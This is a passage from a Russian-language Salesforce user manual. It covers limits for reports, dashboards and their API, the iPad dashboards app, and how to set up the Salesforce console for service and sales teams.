
часычасы
неполной
нагрузки3)

(Не более
одного

неполной
нагрузки3)

(Не более
одного
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

предпочтительного
времени

предпочтительного
времени

начала в начала в
день; день;
данное данное
значение значение
не может не может
быть
изменено)

быть
изменено)

1 Данные ограничения применяются к конструктору отчетов. При использовании мастера отчетов ограничение равно
10.
2 Не более 200.
3 Часы неполной нагрузки — это промежуток времени между 18:00 и 03:00 по местному времени.

Salesforce retains historical data for the previous three months, plus the current month.

Описанныенижеограничениядляотчетов Salesforce ипанелеймониторингадействуютво всехподдерживаемыхверсиях.

Ограничения для отчетов

• Областьпредварительногопросмотра конструктораотчетов содержитнеболее20 строкдля сводныхиматричных
отчетов и не более 50 строк для табличных отчетов.

• В диаграмме может использоваться не более 250 групп или 4 000 значений. В случае сообщения об ошибке,
уведомляющего о наличии слишком большого числа групп или значений, задайте фильтры отчета, чтобы
уменьшить это количество. В комбинированных диаграммах учитываются все группы и значения.

• Отчеты отображают не более 2000 строк. Чтобы просмотреть все строки, экспортируйте отчет в Excel или
воспользуйтесь печатной версией табличных и сводных отчетов. Составные отчеты не поддерживают экспорт, а
печатная версия отображает не более 20 000 строк.

– Если функция «Показать сведения» отключена, то сводные и матричные отчеты отображают только первые
2000 группировок.

– Матричные отчеты отображают не более 400 000 итоговых значений.

– Еслифункция «Показать сведения» отключена, то матричные отчеты отображаютне более 2000 группировок
повертикальнойоси. Еслиотчетсодержитболее 400 000 итоговыхзначений, тосначалауменьшаетсяколичество
строк (до 2 000 группировок), а затем уменьшается количество столбцов (пока количество итоговых значений
не достигнет 400 000).

• При просмотре в Salesforce1 отчетов с группировками, такие отчеты преобразовываются в табличные.

• По умолчанию время выполнения отчетов составляет 10 минут.

• Каждый блок составного отчета может содержать не более 100 столбцов. Составной отчет может содержать не
более 5 блоков.

• Каждыйблок составногоотчетаможет содержатьне более 10настраиваемыхформулрезюмирования. Составной
отчет может содержать не более 50 настраиваемых формул резюмирования.
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• Каждый составной отчет может содержать не более 10 настраиваемых формул резюмирования кросс-блока.

• Прифильтрациистандартныхполейтипа «Областьподробноготекста» (например, поле «Описание» или «Сведения
о решении») поиск выполняется только по первой 1000 символов.

• В отчете отображаются только первые 254 символа области подробного или форматированного текста.

• Поля резюмирования в табличных, сводных и матричных отчетах могут отображать не более 21 символа.

• Отчеты не могут быть отфильтрованы по настраиваемым полям типа «Область подробного текста».

• Составные отчеты требуют включения новой темы пользовательского интерфейса. В противном случае
пользователи не могут создавать, редактировать и запускать составные отчеты.

• Отчеты по прогнозам включают только те возможности, которые должны быть закрыты в выбранный период
прогноза, кроме возможностей, которым назначена категория прогноза «Пропущено».

• Обозреватель Internet Explorer 6 не поддерживает составные отчеты.

Ограничения для панелей мониторинга

• Фильтрпанелимониторингаможетиметьнеболее50параметров. Поумолчанию: 10параметров. Чтобыувеличить
данное ограничение, обратитесь в компанию Salesforce.

• Каждая панель мониторинга может содержать не более 20 компонентов.

• Фильтрацияпополямобластинеподдерживается. Принеобходимостивоспользуйтесьотчетом, отфильтрованным
по полю области на странице панели мониторинга.

• Таблица или диаграмма панели мониторинга может отображать не более 20фотографий.

• Повторное обновление панели мониторинга может быть выполнено не ранее, чем через одну минуту.

Ограничения для типов отчетов

• Тип настраиваемого отчета может содержать не более 60 ссылок на объекты.Например, при ограничении типа
отчета четырьмя взаимосвязямиобъекта полепоискапозволяет выбиратьполя дополнительных 56 объектов. Тем
не менее, при выполнении отчета, созданного на основе типа настраиваемого отчета и содержащего столбцы не
менее, чем из 20 разных объектов, отображается сообщение об ошибке.

• Каждый тип настраиваемого отчета может содержать не более 1000 полей.

Ограничения для отчетных снимков

• Максимальное количество строк, добавляемых в настраиваемый объект, составляет 2000.

• Максимальное количество запусков, доступных для хранения, составляет 200.

• Максимальноеколичествостолбцовисходногоотчета, доступныхдля соотнесениясцелевымиполями, составляет
100.

Ограничения пофильтрации

Фильтрация охватывает только первые 255 символов настраиваемого текстового поля.

Ограничения для встроенных диаграмм отчета

• Каждая страница может содержать не более двух диаграмм отчета.

• Диаграммы отчета могут быть добавлены только из расширенного редактора макетов страниц. Мини-консоль и
исходный редактор макетов страниц не поддерживаются.

• Страницы сведений позволяют обновлять каждые 60 минут не более 100 диаграмм отчета.

• Организация может обновлять каждые 60 минут не более 3000 диаграмм отчета.

Ограничения для списковых представлений

• Списковые представления отображают только первые 255 символов настраиваемых полей типа «Область
подробного текста».

4229

Панели мониторингаAnalytics



Ограничения для областей и полей областей

• В каждом отчете может быть до пяти полей областей.

• Каждое поле областей может содержать до 20 областей.

• Каждая область может содержать до 20 значений.

• Поля областей доступны для использования только в том отчете, где они были созданы. Для использования
областивнесколькихотчетах создайтеполедля каждогоотчеталибосоздайтеотдельноеполеформулдляобъекта,
зависимого от данной области.

Прим.: Эти ограничения не распространяются на использование пункта «Прочее» согласно разрешению
в настройке поля областей.

Допустимый диапазон величин следующий. Максимальное допустимое значение: 999999999999999.Минимальное
допустимое значение: -99999999999999.

Ограничения API отчетов и панелей мониторинга
Ниже перечислены ограничения, действующие в REST API отчетов и панелей мониторинга и API отчетов и панелей
мониторинга в Apex.

• Кросс-фильтры, стандартныефильтры отчетов ифильтрация по ограничению строк недоступны прифильтрации
данных.

• Архивный трендинг поддерживается только матричными отчетами.

• Интерфейс API может обрабатывать только отчеты, содержащие не более 100 полей, выбранных в качестве столбцов.

• Система возвращает не более 200 недавно просмотренных отчетов.

• Организация поддерживает не более 500 запросов на синхронное выполнение отчета в течение одного часа.

• Интерфейс API поддерживает одновременно не более 20 запросов на синхронное выполнение отчета.

• Система возвращает не более 2000 экземпляров отчета, выполненного асинхронно.

• Интерфейс API поддерживает одновременно не более 200 запросов на извлечение результатов асинхронного
выполнения отчета.

• Организация поддерживает не более 1200 запросов на асинхронное выполнение в течение одного часа.

• Результаты асинхронного выполнения отчета доступны в течение 24 часов.

• Интерфейс API возвращаетнеболее 2000 первыхстрокотчета. Чтобыуточнитьрезультаты, воспользуйтесьфильтрами.

• При необходимости добавьте не более 20 фильтров настраиваемого поля при выполнении отчета.

• Организация поддерживает не более 200 запросов на обновление панели мониторинга в течение одного часа.

• Организация поддерживает не более 5000 запросов на просмотр результатов панели мониторинга в течение одного
часа.

СМ. ТАКЖЕ:

Отчеты и панели мониторинга: Чего нет в Lightning Experience

Почему панель мониторинга не отображает нужные мне данные?
Еслиотображаемыеданныенесоответствуютожиданиям, обновитепанельмониторинга, выберитетекущегопользователя
и проверьте используемые источники данных.

Если панель мониторинга возвращает другие данные, проверьте:
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• Текущий пользователь.Помните, что панель мониторинга просматривается от имени текущего пользователя.
Отображаемые данные определяются полномочиями доступа пользователя. Динамические панели мониторинга
позволяют просматривать только доступные данные.

• Обновите панель мониторинга. Если вы просматриваете старые данные, щелкнитеОбновить, чтобы обновить
панель мониторинга.

• Источникиданных.Убедитесь, чтоисточникиданных (отчеты, элементы S-Control илистраницыVisualforce) содержат
сведения, которые должны отображаться в компонентах панели мониторинга.

Подробнееопользователепанелимониторингаи ееобновлениивыможете узнать в статьяхВыборпользователяпанели
мониторинга на странице 4214 и Обновление данных панели мониторинга на странице 4216.

Визуализация сложной информации посредством панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Панели мониторинга позволяют пользователям принимать оперативные решения на
основе данных, собранных посредством отчетов. Рекомендуем использовать панели
мониторинга для определения текущих тенденций, сортировки количественных
показателей и оценки последствий предпринятых действий.

Прим.: ВверсииGroup Edition панелимониторингадоступнытолькодляпросмотра.

1. Начало работы с панелями мониторинга
Рекомендуемиспользоватьпанелимониторингадляпоискашаблонов, оперативного
отслеживания изменений и общего доступа к важным данным в режиме реального
времени.

2. Использование панелей мониторинга на устройствах iPad

Приложение Salesforce Mobile Dashboards для устройств iPad, доступное в интернет-магазине Apple App Store,
предоставляет мобильный доступ к недавно просмотренным или отслеживаемым панелям мониторинга.

3. Просмотр списков панелей мониторинга
Список панелей мониторинга содержит все доступные пользователю панели мониторинга.

СМ. ТАКЖЕ:

Фильтры панели мониторинга

Создание панели мониторинга Salesforce Classic

Начало работы с панелями мониторинга

Настройка индивидуальных просмотров панели мониторинга
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Начало работы с панелями мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра и
обновления панелей
мониторинга:
• «Запуск отчетов» И

доступ к папке панелей
мониторинга

Для создания панелей
мониторинга:
• «Запуск отчетов» И

«Управление панелями
мониторинга»

Для редактирования и
удаления созданныхпанелей
мониторинга:
• «Запуск отчетов» И

«Управление панелями
мониторинга»

Для редактирования и
удаления панелей
мониторинга, созданных
другими пользователями:
• «Запуск отчетов»,

«Управление панелями
мониторинга» И
«Просмотр всех данных»

Рекомендуем использовать панели мониторинга для поиска шаблонов, оперативного
отслеживания изменений и общего доступа к важным данным в режиме реального
времени.

• Пользователи с лицензией платформы Salesforce Platform или Salesforce Platform One
могут просматривать панель мониторинга только при наличии такой же лицензии
у текущегопользователяпанелимониторинга. Дляпользователейсразнымитипами
лицензий могут быть созданы отдельные панели мониторинга.

• В версии Group Edition панели мониторинга доступны только для просмотра.

Приоткрытиивкладки «Панелимониторинга» отображаетсяпоследняяпросмотренная
панель мониторинга. В верхней части страницы отображаются время последнего
обновленияпанелимониторингаиимяпользователя, полномочиякоторогоопределяют
доступные данные. Если панель мониторинга недоступна, рекомендуем проверить
полномочия доступа к папкам.

СМ. ТАКЖЕ:

Визуализация сложной информации посредством панелей мониторинга

Создание панели мониторинга Salesforce Classic

Обновление данных панели мониторинга
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Использование панелей мониторинга на устройствах iPad

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Приложение Salesforce Mobile Dashboards для устройств iPad, доступное в
интернет-магазине Apple App Store, предоставляет мобильный доступ к недавно
просмотренным или отслеживаемым панелям мониторинга.

Важное замечание: Ввыпуске Summer'15 компания Salesforce прекращаетподдержку
приложения «Мобильные панели мониторинга для iPad». Приложение может
использоватьсябез ограничений, нонебудетподдерживаться компанией Salesforce
на предмет исправления ошибок или устранения возможных неполадок. Чтобы
установить приложение Salesforce1 (новое мобильное приложение от компании
Salesforce), обратитесь к администратору Salesforce.

Приложение Salesforce Classic Dashboards предоставляетстандартныйимобильныйдоступ
к данным организации, показателям эффективности и текущим тенденциям. Ниже
перечислены действия, поддерживаемые данным приложением.

• Просмотр недавних или отслеживаемых панелей мониторинга

• Поиск панелей мониторинга

• Просмотр отдельных компонентов панели мониторинга, выделение их значений и детализация отчетов

• Изменение представления отчета

• Отправка панели мониторинга или ее компонента по эл. почте

• Просмотр и публикация сообщений или комментариев в ленту Chatter панели мониторинга

• Автономный доступ к некоторым недавно просмотренным панелям мониторинга и отчетам

Прим.: Приложение не поддерживает динамические панели мониторинга и фильтры панели мониторинга.

Приложениедоступнодлябесплатнойзагрузки винтернет-магазинеApple App StoreикаталогеAppExchange. Приложение
Salesforce Classic Dashboards поддерживается всеми моделями iPad с ОС iOS 5 или более поздней версии.Приложение
доступно в версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition системы Salesforce, а также в
любых организациях, где включена поддержка интерфейса REST API.

Если организация Salesforce доступна на устройстве iPad, то приложение Salesforce Mobile Dashboards готово к работе.
Откройте приложение и введите адрес эл. почты и пароль Salesforce. В случае отсутствия учетной записи Salesforce,
коснитесь Demo.

Прим.: Доступ к панелям мониторинга на устройствах iPad предоставляется организациям по умолчанию. В
противномслучаеданныйдоступдолженбытьпредоставленадминистраторомдовходапользователявприложение.

Вкладка «Панелимониторинга» отображается в клиентскомприложении Salesforce Classic Mobile только в томслучае, если
администратор Salesforce добавил ее в мобильную конфигурацию.
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Просмотр списков панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра и
обновления панелей
мониторинга:
• «Запуск отчетов» И

доступ к папке панелей
мониторинга

Для создания панелей
мониторинга:
• «Запуск отчетов» И

«Управление панелями
мониторинга»

Для редактирования и
удаления созданныхпанелей
мониторинга:
• «Запуск отчетов» И

«Управление панелями
мониторинга»

Для редактирования и
удаления панелей
мониторинга, созданных
другими пользователями:
• «Запуск отчетов»,

«Управление панелями
мониторинга» И
«Просмотр всех данных»

Список панелей мониторинга содержит все доступные пользователю панели
мониторинга.

1. Щелкните ссылку «Перейтикспискупанелеймониторинга»на вкладке «Панели
мониторинга».
Расширенная вкладка «Отчеты» содержит последние просмотренные панели
мониторинга в соответствующей папке.

2. Чтобы просмотреть список панелей мониторинга, хранящихся в папке, выберите
нужнуюпапку или выполните поиск с помощьюфильтров на странице со списком
панелей мониторинга.

3. Чтобы открыть панель мониторинга, щелкните имя нужной панели мониторинга.

4. Если используется Salesforce Classic, щелкните значок напротив имени панели
мониторинга, чтобы изменить или удалить ее.

Прим.: В версии Group Edition панели мониторинга доступны только для
просмотра.

5. Если включена поддержка Chatter, щелкните значок или , чтобы начать или
отменить отслеживание панели мониторинга в ленте Chatter.

СМ. ТАКЖЕ:

Визуализация сложной информации посредством панелей мониторинга

Начало работы с панелями мониторинга
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Предоставление пользователям доступа для просмотра панелей мониторинга на
устройствах iPad

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров
приложения «Мобильные
панели мониторинга для
iPad»:
• «Просмотр настройки и

конфигурации»

Для изменения параметров
приложения «Мобильные
панели мониторинга для
iPad»:
• «Настройка

приложения»

Приложение «Мобильные панели мониторинга для iPad» включается автоматически и
доступно пользователям организации без дополнительной настройки.

Важное замечание: Ввыпуске Summer'15 компания Salesforce прекращаетподдержку
приложения «Мобильные панели мониторинга для iPad». Приложение может
использоватьсябез ограничений, нонебудетподдерживаться компанией Salesforce
на предмет исправления ошибок или устранения возможных неполадок. Чтобы
установить приложение Salesforce1 (новое мобильное приложение от компании
Salesforce), обратитесь к администратору Salesforce.

Чтобы запретить пользователям доступ к данным Salesforce посредством мобильных
устройств, отключите данное приложение. При необходимости приложение может
быть включено повторно.

Чтобы настроить доступ к приложению «Мобильные панели мониторинга для iPad»,
выполните указанные ниже действия.

1. Введите строку «Мобильные панели мониторинга» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт <b>«Параметрымобильных панелей
мониторинга»</b>.

2. Установитеили снимитефлажок «Включить приложение Mobile Dashboards

iPad для всех пользователей».

3. Нажмите кнопку «Сохранить».

Приложение «Мобильные панели мониторинга для iPad» доступно пользователям для
загрузки и установки в интернет-магазине Apple App Store или AppExchange Mobile.

Приложение доступно в перечисленных выше версиях системы, а также в любых
организациях, где включена поддержка интерфейса REST API.
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Оптимизация приложений Sales и Service посредством
консоли Salesforce

Консоль Salesforce

ВЕРСИИ

Консоль Salesforce
доступна в Salesforce
Classic и в средстве запуска
приложений Lightning
Experience. Настройки для
консоли Salesforce см. в
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Консоль Salesforceпредназначаетсядляповышенияпроизводительностипользователей
динамичных сред.

Интерфейсконсоли, напоминающийпанельмониторинга, исключаетлишниепереходы
и прокручивания, позволяя ускорить процесс поиска, обновления и создания записей.
Рекомендуем использовать консоль для быстрого доступа к самым нужным данным и
функциям. Например, агенты службы поддержки могут одновременно использовать
разныеприложенияисохранятьконтекстобращенийвкачествеизмененияприоритетов.
Торговые представители могут напрямую взаимодействовать с интересами, получать
доступ к компаниям, определять ключевые контакты и просматривать коммерческую
информацию. При необходимости настройте консоль для обслуживания или продаж.

Интерфейс консоли на основе вкладок позволяет просматривать записи и связанные
элементы на одном экране, а также одновременно обрабатывать несколько элементов.
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Пользовательский интерфейс консоли Salesforce

(1) Вкладка «Навигация» позволяет выбирать объекты и записи. (2) Записи отображаются в виде списка, который может
быть зафиксирован в левом верхнем углу экрана. (3) Выбранные записи отображаются в виде основных вкладок, которые
позволяют одновременно обрабатывать несколько элементов. (4) Панель основных показателей отображает ключевую
информацию, связанную с записями. (5) Элементы, связанные с записями, отображаются в виде вложенных вкладок,
которые позволяют быстро переключаться между связанными данными без потери контекста. (6) Лента или область
сведений позволяют просматривать и взаимодействовать с содержимым. (7) Боковые панели и нижние колонтитулы
открывают доступ к настраиваемым данным компонента.

Администраторы могут настраивать консоль нужным образом — от выбора объектов на вкладке «Навигация» до
возможности использования программного телефона для выполнения телефонных вызовов. К дополнительным
настройкам могут относиться: отображение статей базы знаний и обращений, создание настраиваемых действий
посредством клавиш быстрого доступа или интерактивное общение с клиентами посредством приложения Live Agent
(только для Service Cloud). Администраторы и разработчики могут решать уникальные бизнес-проблемы путем создания
настраиваемыхкомпонентовконсоли, а такжеиспользуясредствоинтеграцииконсоли Salesforceдлядобавлениясторонних
интеграций и расширения настроек консоли.

Совет: Прииспользованииконсолидляобслуживаниярекомендуемсоздатьконсольдляпродажбезприобретения
отдельных лицензий.

Прим.: Консоль Salesforce расширяетфункциональные возможности консолиAgent Consoleпутемпредоставления
пользователям дополнительных параметров и технологий.

СМ. ТАКЖЕ:

Ограничения для консоли Salesforce

Подготовка к настройке консоли Salesforce
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Ограничения для консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Просмотрите ограничения по отображению, доступу и настройке для консоли.

Ограничения по отображению
Консоль Salesforce поддерживает только обозреватели Microsoft® Internet Explorer® 7,
8, 9, 10 или 11; Mozilla® Firefox® 3.5 или более поздней версии, а также последнюю
стабильную версию Google Chrome™. Обозреватели Internet Explorer 7 и 8 не
поддерживают некоторые функции консоли, требующие повышения
производительности обозревателя и применения последних веб-технологий.

Не поддерживается обозревателем
Internet Explorer 8

Не поддерживается обозревателем
Internet Explorer 7

Фиксированные вкладкиФиксированные вкладки

ЗакладкиЗакладки

Компонент «Журнал»Компонент «Журнал»

Компонент «Последние вкладки»Компоненты мультимонитора

Изменяемая панель основных
показателей

Компонент «Последние вкладки»

Разные настраиваемые компоненты
консоли на боковых панелях

Полноширинная лента в макетах
страниц на основе ленты

Автоматическое изменение размера по
вертикали для ярусных компонентов
консоли на боковых панелях

Шрифт и цвет шрифта для поля «CSS
кнопки» компонентов консоли

Совет: Для повышения производительности рекомендуем пользователям консоли применять обозреватель
Google Chrome™ и компьютеры, оснащенные ОЗУ не менее 8 Гб.

Консольобеспечиваетограниченнуюподдержкуязыков, читаемыхсправаналево (например, арабскийилиеврейский).
Ввидуограниченнойподдержкиязыков, читаемыхсправаналево, консольможетнекорректноотображатьнекоторые
функции (например, «Лентаобращений», Live Agentи Salesforce Knowledge). Консольнеподдерживает языки, читаемые
справа налево, Internet Explorer 7 и 8, а Salesforce больше не поддерживает эти обозреватели.

Все элементы Salesforce CRM Content отображаются на консоли в виде основных вкладок.

Прииспользованиифункции «Социальныеорганизации, контактыиинтересы» окнопросмотраможетотображаться
на консоли некорректно.

Консоль не отображает начальные страницы записей, включая стандартные разделы «Инструменты».
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Ограничения по алгоритмам и доступу
Консоль не поддерживает кнопки обозревателей «Назад», которые могут работать некорректно.

Консоль Salesforce не соответствует требованиям доступности.

Страницы Visualforce не обновляются нажатием на и выбором параметра «Обновить все основные вкладки»
или «Обновить все вложенные вкладки».

Панель основных показателей не позволяет редактировать поля напрямую. Тем не менее, изменение данных полей
на странице записи инициирует автоматическое обновление панели основных показателей.

Некоторые объекты (например, отчеты, панели мониторинга и Chatter) поддерживаются консолью не полностью.
Данные и другие объекты помечаются звездочкой (*) в области настройки консоли и могут использовать
непредвиденные алгоритмы. Например: (1) Нажатие кнопки «Отмена» при просмотре долей возможности не
инициирует закрытие вложенной вкладки. Взамен, во вложенной вкладке открываются сведения о странице. (2)
Изменение элемента строкивозможностиилиэлемента строкисметынеинициирует его автоматическоеобновление.
Чтобы просмотреть последние изменения, рекомендуем обновить страницу.

При повторном открытии консоли вложенные вкладки, использовавшиеся в последний раз, могут не загрузиться
автоматически. Кроме того, закрытие консоли путем выбора приложения в меню приложений Force.com может
инициировать некорректную работу кнопок обозревателя «Назад» и «Вперед».

Присохраненииизмененийвкомпонентепоискаиналичиинесохраненныхизмененийвдругомкомпонентепоиска
система удаляет несохраненные изменения без предупреждения.

Выбраннаянастраиваемаяссылкаилиссылкавтекстовомполе (например, http://www.salesforce.com/вполеобращения
«Описание») отображается во всплывающем окне, а не на вкладке.

При обновлении страницы «Изменить статус обращения» на консоли отображается ошибка «Не удается получить
доступ к странице».

Ограничения по настройке
Консоль не поддерживает Chatter Messenger и средство запуска приложений.

Корректное отображение некоторых страниц Visualforce на консоли гарантируется только после их обновления.

Включение защиты от кликджекинга для страниц Visualforce в параметрах безопасности организации препятствует
корректному отображению страниц Visualforce.

Пользователи центра обработки вызовов могут использовать программный телефон на консоли Salesforce только
при наличии адаптера CTI, созданного посредством инструментария CTI Toolkit 3.0 или 4.0, или центра обработки
вызовов, созданного посредством Open CTI.

Приложение Live Agent доступно только на консоли, поддерживающей Service Cloud.

Панельосновныхпоказателейдля транскриптов Live Agent доступна для редактирования, нонеможет быть включена
для пользователей.

СМ. ТАКЖЕ:

Консоль Salesforce
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Настройка консоли Salesforce

Подготовка к настройке консоли Salesforce

ВЕРСИИ

Консоль Salesforce
доступна в Salesforce
Classic и в средстве запуска
приложений Lightning
Experience. Настройки для
консоли Salesforce см. в
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Прежде чем настроить консоль, определите ее предназначение.

Консоль Salesforce — это типнастраиваемогоприложения, котороеможетнастраиваться
для агентов службы поддержки или торговых представителей. Количество консолей,
настроенных для организации, не должно превышать ограничения для настраиваемых
приложений, установленного для используемой версии. Например, настройте одну
консольдляобслуживанияклиентов, адругуюконсольдлятелефонныхпродаж. Консоли
для обслуживания аналогичны консолям для продаж, но могут содержать Live Agent
(интерактивный чат для агентов службы поддержки и клиентов).

Прежде чем настраивать консоль, рекомендуем определить целевую аудиторию и
наиболееважнуюинформацию. Длякаждойконсолирекомендуемопределитьобъекты,
доступныепользователям, поля, которыедолжныотображатьсяпользователямнапанелях
основных показателей, и лицензии, которые должны быть назначены пользователям
для предоставления доступа к разнымфункциям Salesforce. Кроме того, рекомендуем
определитьзаписи, которыедолжныотображатьсяввидеосновныхивложенныхвкладок.

Выберите центральный рабочий объект для отображения на основной вкладке и
связанные элементы для отображения на вложенных вкладках. Например, организации
могут быть выбраны в качестве основной вкладки, а обращения и контакты в качестве
вложенных. Имя настраиваемой консоли должно соответствовать ее функции. Тогда
пользователи смогут быстро обнаружить ее. Например, «Служба поддержки клиентов».

Совет: Приназначениилицензиинакомпонент Service Cloud можнопросматривать
и настраивать стандартную консоль путем выбора образца консоли в меню
приложений Force.com.

СМ. ТАКЖЕ:

Советы по внедрению консоли Salesforce

Настройка консоли Salesforce for Service

Настройка консоли Salesforce for Sales

Консоль Salesforce
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Советы по внедрению консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Прежде чем внедрить консоль, просмотрите советы ниже.

Общие советы по внедрению
Параметрыбезопасностииобщегодоступа, используемыеконсолью, соответствуют
параметрам организации Salesforce.

Дляповышенияпроизводительностирекомендуемпользователямконсолиприменять
обозреватель Google Chrome™ и компьютеры, оснащенные ОЗУ не менее 8 Гб.

Новый интерфейс отображается на всех страницах консоли даже в том случае, если
новая тема пользовательского интерфейса не поддерживается организацией.

Чтобыпросмотретьлюбыеизменения, внесенныевнастройкиконсоли, рекомендуем
обновить обозреватель.

Консоль не может быть добавлена на клиентские или партнерские порталы.

Советы по внедрению консоли Salesforce для обслуживания
Консоль для обслуживания доступна пользователям только при наличии лицензии
«Пользователь Service Cloud».

Приложение Live Agent может использоваться на консоли только при наличии
лицензии «Пользователь Live Agent».

Если организация поддерживает Salesforce Knowledge, включите боковую панель
базы знаний для автоматического отображения пользователям консоли
соответствующих статей и текущих обращений.
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Настройка консоли Salesforce for Service

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки консоли
Salesforce for Service:
• «Настройка

приложения»

Создайтеинастройтеприложениеконсоли, а затемназначьтепользователямлицензию
«Пользователь Service Cloud».

Важное замечание: Придобавлении Live Agentнаконсольрекомендуемвыполнить
полную настройку перед созданием консоли.

1. Настройка панелей «Основное» для всех объектов и их включение.

2. Создайте приложение консоли и назначьте его профилям пользователей.

3. Дополнительно для агентов службы поддержки

• Придание фирменного стиля консоли.

• Выбор способа отображения фиксированных списков.

• Список разрешенных доменов.

• Настройка всплывающих уведомлений.

• Настройка клавиш быстрого доступа.

• Включение боковой панели базы знаний.

• Настройкажурналов взаимодействияиназначениеихпрофилямпользователей.

• Включите Live Agent (доступно только в консоли для обслуживания).

4. Назначьте пользователям лицензию «Пользователь Service Cloud».

Совет: Опытные администраторыиразработчикимогут создаватьнастраиваемые
компоненты консоли и использовать средство интеграции консоли Salesforce для
добавления сторонних интеграций и расширения настроек консоли.

СМ. ТАКЖЕ:

Назначение пользователям лицензий на компонент Service Cloud

Советы по внедрению консоли Salesforce

Подготовка к настройке консоли Salesforce

Настраиваемые функции консоли Salesforce

Назначение пользователям лицензий на компонент Service Cloud

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения
пользователям лицензии
«Пользователь Service
Cloud»:
• «Управление

внутренними
пользователями»

Доступно в версиях: Enterprise Edition, Performance Edition, Unlimited Edition и
Developer Edition с консолью Service Cloud.

Лицензия «Пользователь Service Cloud» предоставляет пользователям доступ к
дополнительнымфункциям Salesforce (например, консоль Salesforce).

Чтобы назначить лицензию пользователю, выполните указанные ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».
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2. Щелкните ссылку «Правка» напротив имени нужного пользователя.

3. Установите флажок «Пользователь Service Cloud».

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка консоли Salesforce for Service

Настройка консоли Salesforce for Sales

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Performance Edition и
Developer Edition.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition за
дополнительную плату.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения лицензий
набора полномочий:
• «Управление

внутренними
пользователями»

Для создания консоли
Salesforce for Sales:
• «Настройка

приложения»

И

«Sales Console»

Для первого подключения консоли обратитесь в компанию Salesforce, затем назначьте
пользователям соответствующую лицензию набора полномочий и полномочия
пользователей.

1. Чтобыподключитьконсольдлясвоейорганизации, обратитесьвкомпаниюSalesforce.

2. Настройка панелей «Основное» для всех объектов и их включение.

3. Назначьтепользователямлицензиюнабораполномочий«Пользователь Sales Console».

4. Включение полномочия «Sales Console» в наборе полномочий.

5. Назначьтепользователейнаборуполномочий. Пользователимогутбытьназначены
наборамполномочий, содержащимполномочие «Sales Console», толькоприналичии
лицензии набора полномочий «Пользователь Sales Console».

6. Дополнительные сведения для торговых представителей

• Придание фирменного стиля консоли.

• Выбор способа отображения фиксированных списков.

• Список разрешенных доменов.

• Настройка всплывающих уведомлений.

• Настройка клавиш быстрого доступа.

• Включение боковой панели базы знаний.

• Настройкажурналов взаимодействияиназначениеихпрофилямпользователей.

7. Создание приложения консоли и назначение его профилям пользователей.

Совет: Опытные администраторыиразработчикимогут создаватьнастраиваемые
компоненты консоли и использовать средство интеграции консоли Salesforce для
добавления сторонних интеграций и расширения настроек консоли.

СМ. ТАКЖЕ:

Активация полномочий пользователей Sales Console для консоли Salesforce

Советы по внедрению консоли Salesforce

